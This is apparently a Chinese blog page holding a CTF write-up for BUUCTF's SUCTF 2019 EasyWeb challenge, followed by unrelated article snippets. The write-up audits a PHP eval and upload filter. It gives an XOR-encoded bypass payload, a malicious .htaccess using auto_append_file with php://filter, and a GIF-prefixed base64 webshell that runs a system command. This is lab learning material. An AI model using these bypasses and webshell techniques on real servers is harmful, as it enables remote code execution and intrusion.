1.【BUUCTF】[SUCTF 2019]EasyWeb
进入题目页面如下
给出源码开始代码审计
<?php
// 定义一个名为 get_the_flag 的函数,该函数主要处理文件上传逻辑
function get_the_flag(){// 构造用户上传文件的目录,目录名是 "upload/tmp_" 加上客户端 IP 地址的 MD5 哈希值$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);// 检查该目录是否存在,如果不存在则创建该目录if(!file_exists($userdir)){mkdir($userdir);}// 检查是否有文件上传if(!empty($_FILES["file"])){// 获取上传文件的临时文件名$tmp_name = $_FILES["file"]["tmp_name"];// 获取上传文件的原始文件名$name = $_FILES["file"]["name"];// 提取文件扩展名$extension = substr($name, strrpos($name,".")+1);// 使用正则表达式检查文件扩展名是否包含 "ph"(不区分大小写),如果包含则终止程序并输出 "^_^"if(preg_match("/ph/i",$extension)) die("^_^"); // 读取上传文件的内容,检查是否包含 "<?", 如果包含则终止程序并输出 "^_^"if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");// 检查上传文件是否为有效的图像文件,如果不是则终止程序并输出 "^_^"if(!exif_imagetype($tmp_name)) die("^_^"); // 构造上传文件的最终保存路径$path= $userdir."/".$name;// 将上传的临时文件移动到最终保存路径,使用 @ 符号抑制可能的错误信息@move_uploaded_file($tmp_name, $path);// 输出文件保存的路径print_r($path);}
}// 从 GET 请求中获取名为 "_" 的参数值,并使用 @ 符号抑制可能的错误信息
$hhh = @$_GET['_'];// 如果没有获取到 "_" 参数的值,则高亮显示当前 PHP 文件的源代码
if (!$hhh){highlight_file(__FILE__);
}// 检查 "_" 参数值的长度是否超过 18 个字符,如果超过则终止程序并输出提示信息
if(strlen($hhh)>18){die('One inch long, one inch strong!');
}// 使用正则表达式检查 "_" 参数值是否包含特定字符(包括 ASCII 码 0 - 127 之间的部分字符),如果包含则终止程序并输出提示信息
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )die('Try something else!');// 获取 "_" 参数值中出现的所有不同字符,并统计字符种类
$character_type = count_chars($hhh, 3);
// 检查不同字符的数量是否超过 12 个,如果超过则终止程序并输出提示信息
if(strlen($character_type)>12) die("Almost there!");// 使用 eval 函数执行 "_" 参数的值作为 PHP 代码
eval($hhh);
?>
代码使用 eval($hhh);
执行用户通过 GET 请求传入的 _ 参数的值,
对参数的过滤有长度和字符种类的限制
文件上传过滤
扩展名过滤:通过正则表达式 preg_match("/ph/i",$extension) 检查文件扩展名是否包含 "ph",防止常见的 PHP 文件上传。
内容过滤:使用 mb_strpos(file_get_contents($tmp_name), '<?') 检查文件内容是否包含 "<?", 防止包含 PHP 代码的文件上传。
图像类型检查:使用 exif_imagetype($tmp_name) 检查文件是否为有效的图像文件,限制非图像文件上传。
代码开始定义了一个函数get_the_flag(),应该是用来处理文件上传的
注释说webadmin每20分钟会删除上传的文件,说明需要利用文件上传后立即执行
函数中创建了一个用户目录,基于用户IP的MD5值。
代码处理GET参数',赋值给Shhh。如果没有传入这个参数,就显示源代码。
如果传入的话,需要满足多个条件:
1.长度不能超过18个字符。
2.通过正则表达式过滤:匹配的字符范围包括\x00到空格(ASCCil 0-32), 0-9, AZa-z,以及一些特殊符号如"~~&,|=,还有\x7F。正则表达式用了li表示不区分大小
写。如果匹配到这些字符中的任何一个,就会拒绝。
3.字符类型(不同字符的数量)不能超过12种,否则拒绝。
通过eval($hhh)执行传入的代码。
代码注入的漏洞,需要构造一个payload满足有限制条件。
分析如何绕过这些过滤:
正则表达式排除了很多字符。注意正则中的模式是\x00-0-9A-Za-z"""~_&.,|=,[x7F]+,包括了大部分可见字符和一些控制字符
正则表达式中的模式可能有一些特殊字符没有被过滤,比如^或{},或者其他Unicode字符
查看正则表达式模式:它是否允许使用$符号?在正则中,「x00-表示从x00到空格(即ASCII 0到32),然后是0-9,A-Za-z,以及那些特殊符号,比如,在ASCII表中,S的ASCII码是36,而0-9的ASCII是4857,所以$不在这个范围内。
所以,正则中的模式是否允许S符号比如,表达式中的0\x00- 0-9A-Zaz...],这里的\x00-可能是指从\x00到空格(ASCII 32),因此,美元符号$ (ASCI36)不在这个范围。所以,可以在payload中使用$符号。
构造$_GET[]();的格式来调用get_the_flag函数
payload
?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo
?_=... $_GET['_'] = ... 主注入点,触发动态函数调用
%80%80%80%80^%df%c7%c5%d4 异或运算生成关键字符串 动态构造 _GET
{%80} $_GET['%80'] 提取参数值作为函数名
&%80=phpinfo $_GET['%80'] = 'phpinfo' 注入要执行的函数名
字符集绕过
使用 %80
等高位 ASCII 字符(非字母/数字),绕过常规正则过滤
preg_match('/[0-9a-z]/i', $input) // 此类过滤失效
长度混淆
操作将关键字符串隐藏在不可见字符中,增加静态分析的难度
漏洞类型
远程代码执行 (RCE)
存在动态函数调用如 $var()
利用 .htaccess
文件和文件幻术绕过代码中对文件上传的严格检查,进而执行任意代码获取 flag。具体步骤为:上传特制的 .htaccess
文件,利用 php_value auto_append_file
和 AddType
指令,配合 php://filter
伪协议绕过对 <?
的检测;同时,为上传的 PHP 代码文件添加 GIF 文件头幻术绕过 exif_imagetype
检测。
.htaccess
文件是 Apache 服务器的配置文件,可用于在目录级别覆盖全局服务器配置。我们可以利用它来改变 PHP 解析文件的方式。
# 指定所有以 .gif 结尾的文件都按 PHP 脚本解析
AddType application/x-httpd-php .gif
# 自动在每个 PHP 脚本执行前包含指定的文件,这里使用 php://filter 伪协议对 base64 编码的内容进行解码并包含
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.gif"
上述 .htaccess
文件
AddType application/x-httpd-php .gif
:将 .gif
后缀的文件视为 PHP 文件进行解析。
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.gif"
:使用 php://filter
伪协议对 shell.gif
文件内容进行 Base64 解码后包含到每个 PHP 脚本中执行。
2. 构造包含 PHP 代码的 shell.gif
文件
为了绕过 exif_imagetype
对文件内容的检测,我们在文件开头添加 GIF 文件头幻术(GIF89a),并将 PHP 代码进行 Base64 编码。
<?php
// 要执行的 PHP 代码,这里以执行系统命令 cat flag.txt 为例
$php_code = '<?php system("cat flag.txt"); ?>';
// 添加 GIF 文件头幻术
$shell_content = "GIF89a" . base64_encode($php_code);
// 将内容写入 shell.gif 文件
file_put_contents('shell.gif', $shell_content);
?>
上述代码生成了一个 shell.gif
文件,其内容以 GIF 文件头幻术开头,后面是经过 Base64 编码的 PHP 代码。
上传文件
将构造好的 .htaccess
文件和 shell.gif
文件上传到服务器。根据代码中的逻辑,上传目录为 upload/tmp_
加上客户端 IP 地址的 MD5 哈希值。可以使用以下简单的 HTML 表单进行文件上传
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>File Upload</title>
</head>
<body><form action="http://9d66bcb5-686a-4e45-b6b0-9c1d3174fe9e.node5.buuoj.cn:81/" method="post" enctype="multipart/form-data"><input type="file" name="file" /><input type="submit" value="Upload" /></form>
</body>
</html>
将 your_php_file.php
替换为实际处理文件上传的 PHP 文件路径。
4. 触发代码执行
上传成功后,访问上传目录下的任意 .gif
文件(实际上会被当作 PHP 文件执行),服务器会根据 .htaccess
文件的配置,对 shell.gif
文件内容进行 Base64 解码并执行其中的 PHP 代码,从而执行 cat flag.txt
命令,用蚁剑连接获取 flag。
相关文章:

1.【BUUCTF】[SUCTF 2019]EasyWeb
进入题目页面如下 给出源码开始代码审计 <?php // 定义一个名为 get_the_flag 的函数,该函数主要处理文件上传逻辑 function get_the_flag(){// 构造用户上传文件的目录,目录名是 "upload/tmp_" 加上客户端 IP 地址的 MD5 哈希值$userdir…...
CloudberryDB(七)二级索引
在CloudberryDB中,二级索引的概念与PostgreSQL中的类似。但是,由于分布式特性,创建和使用二级索引需要考虑一些额外的因素。以下是关于二级索引的一些要点: 1. **创建索引**:在Greenplum中,可以使用CREATE…...

P1878 舞蹈课(详解)c++
题目链接:P1878 舞蹈课 - 洛谷 | 计算机科学教育新生态 1.题目解析 1:我们可以发现任意两个相邻的都是异性,所以他们的舞蹈技术差值我们都要考虑,4和2的差值是2,2和4的差值是2,4和3的差值是1,根…...

何须付费免费它不香吗
聊一聊 又是一年开学季。 开学了发一些应时期的小软件。 今天给大家分享一款学校班级课程表工具。 这款工具可以投放在学校电子大屏上。 支持学校的白板软件。 软件介绍 学校班级课程表 工具界面清爽,信息能一目了然。 虽然看感觉功能简单,但每个…...
ELK组成及实现原理
ELK是由三个主要组件组成的日志处理和搜索平台,分别是: Elasticsearch:Elasticsearch 是一个基于Lucene构建的开源搜索引擎,提供强大的搜索、分析功能。它负责存储和索引所有数据,并提供实时搜索能力。数据可以通过HTT…...

【Vue3源码解析】响应式原理
源码环境搭建 【Vue3源码解析】应用实例创建及页面渲染-CSDN博客 写文章时的Vue 版本: "version": "3.5.13",针对单个包进行开发环境打包、测试。 pnpm run dev reactivityreactive 创建响应式对象 packages/reactivity/src/reactive.ts …...
servlet中的ServletContext
设置、获取ServletContext配置信息 与ServletConfig不同的是,所有Servlet共享一份ServletContext 在web.xml中设置配置信息 <?xml version"1.0" encoding"UTF-8"?> <web-app xmlns"https://jakarta.ee/xml/ns/jakartaee"x…...

第1825天 | 我的创作纪念日:缘起、成长经历、大方向
目录 缘起一、成为创作者的初心(一)好记性不如烂笔头(二)文档可以帮助多个人解决同一个问题(三)加深自己对问题的理解,对技术的研究 二、实战项目中的经验分享(一)项目背…...

如何在 Mac 上解决 Qt Creator 安装后应用程序无法找到的问题
在安装Qt时,遇到了一些问题,尤其是在Mac上安装Qt后,发现Qt Creator没有出现在应用程序中。通过一些搜索和操作,最终解决了问题。以下是详细的记录和解决方法。 1. 安装Qt后未显示Qt Creator 安装完成Qt后,启动应用程…...

Java 设计模式之迭代器模式
文章目录 Java 设计模式之迭代器模式概述UML代码实现Java的迭代器 Java 设计模式之迭代器模式 概述 迭代器模式(Iterator),提供一种方法顺序访问一个聚合对象中的各个元素,而又不暴露该对象的内部表示。 UML Iterator:迭代器接口ÿ…...

登录演示和功能拆解
登录演示和功能拆解 表单基础校验实现 1. 基础双向绑定 <template><el-form><el-form-item label"账号"><el-input v-model"formData.username" /></el-form-item><el-form-item label"密码"><el-inpu…...

DeepSeek深度求索API多线程批量写原创文章软件-ai痕迹极低
DeepSeek是一款由国内人工智能公司研发的大型语言模型,拥有强大的自然语言处理能力,能够理解并回答问题,还能辅助写代码、整理资料和解决复杂的数学问题。 与OpenAI开发的ChatGPT相比,DeepSeek不仅率先实现了媲美OpenAI-o1模型的…...
Redis进阶使用
在日常工作中,使用Redis有什么需要注意的? 设置合适的过期时间。尽量避免大key问题,避免用字符串存储过大的数据;避免集合的数据量太大,要定期清除。 常用的数据结构有哪些?用在什么地方? 按…...
Python常见面试题的详解6
1. 按字典 value 值排序 要点:对于给定字典,使用 sorted() 函数结合 items() 方法,依据 value 进行排序,也可以定义一个通用函数,支持按 value 升序或降序排序。示例: python d {a: 1, b: 2, c: 3, d: …...
Linux基础之文件权限的八进制表示法
1. Linux 文件权限概述 在 Linux 中,每个文件或目录都有三种基本权限,分别是: 读权限 - r:允许查看文件内容。写权限 - w:允许修改文件内容。执行权限 - x:允许执行文件或进入目录。 每个文件或目录的权…...
数据结构与算法面试专题——堆排序
完全二叉树 完全二叉树中如果每棵子树的最大值都在顶部就是大根堆 完全二叉树中如果每棵子树的最小值都在顶部就是小根堆 设计目标:完全二叉树的设计目标是高效地利用存储空间,同时便于进行层次遍历和数组存储。它的结构使得每个节点的子节点都可以通过简…...
《On Java进阶卷》阅读笔记(五)
第7章 IO系统 I/O流: IO有很多不同的来源和去处,如文件、控制台网络连接等,而且还涉及需求以很多种方式,如顺序读取、随机访问、缓冲、字符、按行读取、按字读取等。 Java8的函数式流相关的类和IO流之间并无关联。 IO流隐藏了…...

《代码随想录》刷题笔记——回溯篇【java实现】
文章目录 组合组合总和 III电话号码的字母组合组合总和组合总和II思路代码实现 分割回文串※思路字符串分割回文串判断效率优化※ 复原 IP 地址优化版本 子集子集 II使用usedArr辅助去重不使用usedArr辅助去重 递增子序列※全排列全排列 II重新安排行程题意代码 N 皇后解数独直…...

数值积分:通过复合梯形法计算
在物理学和工程学中,很多问题都可以通过数值积分来求解,特别是当我们无法得到解析解时。数值积分是通过计算积分区间内离散点的函数值来近似积分的结果。在这篇博客中,我将讨论如何使用 复合梯形法 来进行数值积分,并以一个简单的…...

AcWing——3624. 三值字符串
双指针解法 #include<iostream> #include<unordered_map> using namespace std; int main() {int n; cin >> n;while(n--){unordered_map<char, int> tree;string s; cin >> s;int ans 0x7fffffff; for(int i 0, j 0; j < (int)s.size();…...
Python|GIF 解析与构建(5):手搓截屏和帧率控制
目录 Python|GIF 解析与构建(5):手搓截屏和帧率控制 一、引言 二、技术实现:手搓截屏模块 2.1 核心原理 2.2 代码解析:ScreenshotData类 2.2.1 截图函数:capture_screen 三、技术实现&…...

JavaSec-RCE
简介 RCE(Remote Code Execution),可以分为:命令注入(Command Injection)、代码注入(Code Injection) 代码注入 1.漏洞场景:Groovy代码注入 Groovy是一种基于JVM的动态语言,语法简洁,支持闭包、动态类型和Java互操作性,…...

label-studio的使用教程(导入本地路径)
文章目录 1. 准备环境2. 脚本启动2.1 Windows2.2 Linux 3. 安装label-studio机器学习后端3.1 pip安装(推荐)3.2 GitHub仓库安装 4. 后端配置4.1 yolo环境4.2 引入后端模型4.3 修改脚本4.4 启动后端 5. 标注工程5.1 创建工程5.2 配置图片路径5.3 配置工程类型标签5.4 配置模型5.…...
三维GIS开发cesium智慧地铁教程(5)Cesium相机控制
一、环境搭建 <script src"../cesium1.99/Build/Cesium/Cesium.js"></script> <link rel"stylesheet" href"../cesium1.99/Build/Cesium/Widgets/widgets.css"> 关键配置点: 路径验证:确保相对路径.…...

iPhone密码忘记了办?iPhoneUnlocker,iPhone解锁工具Aiseesoft iPhone Unlocker 高级注册版分享
平时用 iPhone 的时候,难免会碰到解锁的麻烦事。比如密码忘了、人脸识别 / 指纹识别突然不灵,或者买了二手 iPhone 却被原来的 iCloud 账号锁住,这时候就需要靠谱的解锁工具来帮忙了。Aiseesoft iPhone Unlocker 就是专门解决这些问题的软件&…...
测试markdown--肇兴
day1: 1、去程:7:04 --11:32高铁 高铁右转上售票大厅2楼,穿过候车厅下一楼,上大巴车 ¥10/人 **2、到达:**12点多到达寨子,买门票,美团/抖音:¥78人 3、中饭&a…...
Frozen-Flask :将 Flask 应用“冻结”为静态文件
Frozen-Flask 是一个用于将 Flask 应用“冻结”为静态文件的 Python 扩展。它的核心用途是:将一个 Flask Web 应用生成成纯静态 HTML 文件,从而可以部署到静态网站托管服务上,如 GitHub Pages、Netlify 或任何支持静态文件的网站服务器。 &am…...

多种风格导航菜单 HTML 实现(附源码)
下面我将为您展示 6 种不同风格的导航菜单实现,每种都包含完整 HTML、CSS 和 JavaScript 代码。 1. 简约水平导航栏 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport&qu…...
爬虫基础学习day2
# 爬虫设计领域 工商:企查查、天眼查短视频:抖音、快手、西瓜 ---> 飞瓜电商:京东、淘宝、聚美优品、亚马逊 ---> 分析店铺经营决策标题、排名航空:抓取所有航空公司价格 ---> 去哪儿自媒体:采集自媒体数据进…...
JVM暂停(Stop-The-World,STW)的原因分类及对应排查方案
JVM暂停(Stop-The-World,STW)的完整原因分类及对应排查方案,结合JVM运行机制和常见故障场景整理而成: 一、GC相关暂停 1. 安全点(Safepoint)阻塞 现象:JVM暂停但无GC日志,日志显示No GCs detected。原因:JVM等待所有线程进入安全点(如…...